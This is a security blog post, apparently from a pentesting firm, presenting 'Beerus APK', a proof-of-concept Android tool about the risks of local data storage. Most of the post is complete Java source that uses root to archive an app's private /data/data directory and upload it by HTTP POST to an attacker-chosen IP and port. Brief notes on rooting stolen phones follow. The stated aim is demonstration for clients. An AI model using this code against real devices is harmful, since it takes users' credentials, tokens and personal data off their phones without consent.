Security Risks in Local Data Storage on Mobile Devices
It is widely recognized that information storage poses a security risk, especially in the context of mobile devices. In the analyses conducted by our team, we often observe that developers, even when they have access to cloud storage technologies like Firebase, persist in local storage of information for logging purposes or to control specific functionalities. Such practice can lead to serious security risks, varying according to the scenario.
The Most Frequent Vulnerability
In our projects, this type of vulnerability is the most frequently identified. Often, clients ask, “Why is there a risk if the data is stored on the client side of the device?”. The answer is that, even in this context, there are applications with functionalities of RATs (Remote Access Trojans). These can extract information from the device to a designated server, compiling a database with personal details like name, address, email, token, password, etc.
Physical Device Threats
Another risk is the theft or robbery of the user’s physical device. Suppose an attacker gains access to the smartphone. In that case, various methods can be employed to elevate permissions to the Root level, initializing the process with brute force attacks to unlock the PIN, use of exploits, or recovering the access via SMS, followed by installing Magisk and TWRP, allowing unrestricted access to the data.
Importance of Secure Storage Practices
These examples illustrate the importance of not storing confidential data locally. To clarify this issue in a didactic manner for our clients, we dedicate time to developing research and a tool that demonstrates this proof of concept in a practical and evident way. We believe that publishing to the community will help people understand the risks of this type of vulnerability and get a better PoC in the assessments.
Attacks that use the mentioned approach:
- Trend Micro Report on Mobile Malware Suite
- Kaspersky Report on HackingTeam
- The Hacker News on Transparent Tribe
The indicated articles highlight the complexity and depth and demonstrate how dense the addressed topic can be. Knowing that it is one of the most identified vulnerabilities and that there is a degree of difficulty in explaining why it is dangerous to store these data, we have developed Beerus APK, a tool specifically designed to operate within the Android sandbox environment. To function correctly, Beerus APK requires root permissions, an intentional decision to facilitate the creation of a compelling proof of concept.
BEERUS APK: A Tool for Demonstrating Data Vulnerability
The main objective of Beerus APK is to exfiltrate packages located in the /data/data/
directory. As demonstrated in various studies and articles, data exfiltration can occur through different paths within a smartphone, and some do not require a high level of permission. Currently, we are developing updates that will expand the capabilities of BEERUS APK. One of the features is the option to choose the path or file for data exfiltration precisely. This new feature will allow the application to not only be limited to the sandbox path but also explore other areas of the Android operating system.
Show me the code:
Two files are responsible for the app’s operation, which are: MainActivity.java
and FileZipper.java
.
MainActivity.java
public class MainActivity extends AppCompatActivity {
private FileListAdapter adapter;
private String selectedItem;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
RecyclerView recyclerView = findViewById(R.id.recycler_view);
recyclerView.setLayoutManager(new LinearLayoutManager(this));
List<String> fileNames = listFilesInDataData();
if (android.os.Build.VERSION.SDK_INT > 8)
{
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
StrictMode.setThreadPolicy(policy);
}
FileListAdapter.OnItemClickListener listener = new FileListAdapter.OnItemClickListener() {
@Override
public void onItemClick(String item) {
// Toast.makeText(MainActivity.this, "Selected: " + item, Toast.LENGTH_SHORT).show();
selectedItem = item;
}
};
adapter = new FileListAdapter(fileNames, listener);
recyclerView.setAdapter(adapter);
SearchView searchView = findViewById(R.id.search_view);
searchView.setOnQueryTextListener(new SearchView.OnQueryTextListener() {
@Override
public boolean onQueryTextSubmit(String query) {
return false;
}
@Override
public boolean onQueryTextChange(String newText) {
adapter.getFilter().filter(newText);
return false;
}
});
}
public void sendZip(View view) {
TextView ipAddressView = findViewById(R.id.editIpAddress);
TextView portNumberView = findViewById(R.id.editPort);
String ipAddress = ipAddressView.getText().toString().trim();
String portString = portNumberView.getText().toString().trim();
if (!isValidIpAddress(ipAddress)) {
Toast.makeText(this, "Invalid IP ADDRESS", Toast.LENGTH_LONG).show();
return;
}
int portNumber;
try {
portNumber = Integer.parseInt(portString);
if (portNumber < 0 || portNumber > 65535) {
throw new NumberFormatException();
}
} catch (NumberFormatException e) {
Toast.makeText(this, "Invalid PORT", Toast.LENGTH_LONG).show();
return;
}
new Thread(new Runnable() {
@Override
public void run() {
FileZipper.main(new String[]{selectedItem, ipAddress, portString});
runOnUiThread(new Runnable() {
@Override
public void run() {
Toast.makeText(MainActivity.this, "Package sent to VPS", Toast.LENGTH_LONG).show();
}
});
}
}).start();
}
private boolean isValidIpAddress(String ipAddress) {
try {
if (ipAddress == null || ipAddress.isEmpty()) {
return false;
}
String[] parts = ipAddress.split("\\.");
if (parts.length != 4) {
return false;
}
for (String s : parts) {
int i = Integer.parseInt(s);
if ((i < 0) || (i > 255)) {
return false;
}
}
if (ipAddress.endsWith(".")) {
return false;
}
return true;
} catch (NumberFormatException nfe) {
return false;
}
}
private List<String> listFilesInDataData() {
List<String> filesList = new ArrayList<>();
try {
Process process = Runtime.getRuntime().exec("su");
DataOutputStream outputStream = new DataOutputStream(process.getOutputStream());
outputStream.writeBytes("ls /data/data/\n");
outputStream.writeBytes("exit\n");
outputStream.flush();
process.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
filesList.add(line);
}
} catch (Exception e) {
e.printStackTrace();
}
return filesList;
}
public static class FileListAdapter extends RecyclerView.Adapter<FileListAdapter.ViewHolder> implements Filterable {
private List<String> data;
private List<String> filteredData;
private OnItemClickListener listener;
public int selectedPosition = -1; // Variable to track the selected position
public interface OnItemClickListener {
void onItemClick(String item);
}
public FileListAdapter(List<String> data, OnItemClickListener listener) {
this.data = data;
this.filteredData = new ArrayList<>(data); // Initialize filteredData with data
this.listener = listener;
}
@NonNull
@Override
public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.recycler_item_radio, parent, false);
return new ViewHolder(view);
}
@Override
public void onBindViewHolder(@NonNull ViewHolder holder, int position) {
String item = filteredData.get(position);
holder.textView.setText(item);
// Set the radio button state based on the current selection
holder.radioBtn.setChecked(position == selectedPosition);
// Define a click listener for the itemView and radio button
View.OnClickListener clickListener = new View.OnClickListener() {
@Override
public void onClick(View v) {
// Use holder.getAdapterPosition() instead of the position parameter
int adapterPosition = holder.getAdapterPosition();
// Check for NO_POSITION
if (adapterPosition == RecyclerView.NO_POSITION) return;
if (selectedPosition != adapterPosition) {
selectedPosition = adapterPosition;
} else {
selectedPosition = -1; // Deselect if the same item is clicked again
}
notifyDataSetChanged(); // Refresh the list to update radio button states
listener.onItemClick(filteredData.get(adapterPosition)); // Use the correct position to get the item
}
};
// Set the same click listener to both itemView and radio button
holder.itemView.setOnClickListener(clickListener);
holder.radioBtn.setOnClickListener(clickListener);
}
@Override
public int getItemCount() {
return filteredData.size();
}
@Override
public Filter getFilter() {
return new Filter() {
@Override
protected FilterResults performFiltering(CharSequence constraint) {
List<String> filteredResults = new ArrayList<>();
if (constraint == null || constraint.length() == 0) {
filteredResults.addAll(data);
} else {
String filterPattern = constraint.toString().toLowerCase().trim();
for (String item : data) {
if (item.toLowerCase().contains(filterPattern)) {
filteredResults.add(item);
}
}
}
FilterResults results = new FilterResults();
results.values = filteredResults;
return results;
}
@SuppressWarnings("unchecked")
@Override
protected void publishResults(CharSequence constraint, FilterResults results) {
filteredData.clear();
filteredData.addAll((List<String>) results.values);
notifyDataSetChanged();
selectedPosition = -1; // Reset selected position on filter change
}
};
}
public static class ViewHolder extends RecyclerView.ViewHolder {
TextView textView;
RadioButton radioBtn;
ViewHolder(View itemView) {
super(itemView);
textView = itemView.findViewById(R.id.text_view); // Ensure this ID matches with your recycler_item_radio.xml
radioBtn = itemView.findViewById(R.id.radio_button);
}
}
}
}
Class Declaration and Variables
MainActivity Class
The class MainActivity
extends AppCompatActivity
, indicating it’s an activity class.
Variables
adapter
: of typeFileListAdapter
selectedItem
:String
onCreate Method (Lines 5-49)
- Initializes the activity, sets the content view to
activity_main
. - Creates and configures a
RecyclerView
for listing items. - Implements code to list files in the app’s data directory.
- Handles Android’s strict mode policy for thread policy.
- Sets up an
OnItemClickListener
forFileListAdapter
. - Initializes
FileListAdapter
and sets it to theRecyclerView
. - Implements a
SearchView
to filter the list based on user input.
sendZip Method (Lines 50-81)
- Triggered when a specific view is clicked (presumably a button).
- Gets IP address and port number from
TextViews
. - Validates the IP address and port number, displays errors using Toast if they are invalid.
- Starts a new thread to send a zip file to a server using the
FileZipper
class.
isValidIpAddress Method (Lines 82-100)
- Validates the given IP address string.
listFilesInDataData Method (Lines 101-122)
- Lists files in the
/data/data
directory of the device. - Uses a
Process
to execute shell commands.
Inner Class FileListAdapter
(Lines 123-207)
- An adapter class for the
RecyclerView
, which extendsRecyclerView.Adapter
and implementsFilterable
. - Contains a custom
OnItemClickListener
interface and methods for binding and filtering data.
Inner Class ViewHolder
within FileListAdapter
(Lines 196-207)
- Holds the view for each item in the
RecyclerView
.
FileZipper.java
public class FileZipper {
public static void main(String[] args) {
String sourceFolderPath = "/data/data/" + args[0];
String serverUrl = "http://"+args[1]+":"+args[2]+"/upload";
String zipFilePath = "/data/local/tmp/" + args[0];
String timeStamp = String.valueOf(new java.util.Date().getTime());
String tarGzFilePath = zipFilePath+"_"+timeStamp+".tar.gz";
try {
Process process = Runtime.getRuntime().exec("su");
DataOutputStream outputStream = new DataOutputStream(process.getOutputStream());
outputStream.writeBytes("tar -czf "+tarGzFilePath+" "+sourceFolderPath+"\n");
outputStream.writeBytes("chmod 777 "+tarGzFilePath+"\n");
outputStream.writeBytes("exit\n");
outputStream.flush();
process.waitFor();
File file = new File(tarGzFilePath);
sendFileToServer(file, serverUrl);
} catch (Exception e) {
e.printStackTrace();
}
}
private static void sendFileToServer(File file, String serverUrl) throws IOException {
URL url = new URL(serverUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
String boundary = UUID.randomUUID().toString();
connection.setRequestMethod("POST");
connection.setDoOutput(true);
connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
try (DataOutputStream outputStream = new DataOutputStream(connection.getOutputStream());
FileInputStream fileInputStream = new FileInputStream(file)) {
outputStream.writeBytes("--" + boundary + "\r\n");
outputStream.writeBytes("Content-Disposition: form-data; name=\"file\"; filename=\"" + file.getName() + "\"\r\n");
outputStream.writeBytes("Content-Type: application/x-gzip\r\n\r\n");
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = fileInputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);
}
outputStream.writeBytes("\r\n");
outputStream.writeBytes("--" + boundary + "--\r\n");
outputStream.flush();
int responseCode = connection.getResponseCode();
if (responseCode == HttpURLConnection.HTTP_OK) {
System.out.println("File sent successfully");
} else {
System.err.println("Failed to send the file. Response Code: " + responseCode);
}
} finally {
connection.disconnect();
}
}
}
Class Declaration
A public class containing static methods for file compression and network operations.
main Method (Lines 1-23)
- Takes command-line arguments to specify the source folder, server URL, and other parameters.
- Constructs paths for the source folder, destination ZIP file, and server URL.
- Uses a
Process
to execute shell commands for compressing the folder into a.tar.gz
file. - Changes permissions of the compressed file to 777 (read, write, execute for all users).
- Calls
sendFileToServer
to upload the compressed file to a specified server URL. - Handles exceptions and prints stack traces in case of errors.
sendFileToServer Method (Lines 24-50)
- Accepts a
File
object and a server URL string as parameters. - Opens an HTTP connection to the server URL for file upload.
- Sets up a POST request with
multipart/form-data
type for file uploading. - Writes the file data to the server using a
DataOutputStream
. - Reads the file in chunks and sends it to the server.
- Checks the server’s response code to determine if the file upload was successful or not.
- Handles
IOException
and ensures the HTTP connection is closed in a finally block.
Conclusion
In conclusion, the development and utilization of Beerus APK serve as a Proof-of-Concept tool, shedding light on the vulnerabilities associated with local data storage on mobile devices. Demonstrating the ease of data exfiltration underlines the imperative need for developers and users to adopt more secure data handling practices.
Until our paths cross again, may we always excel in the luminous realm of hacking!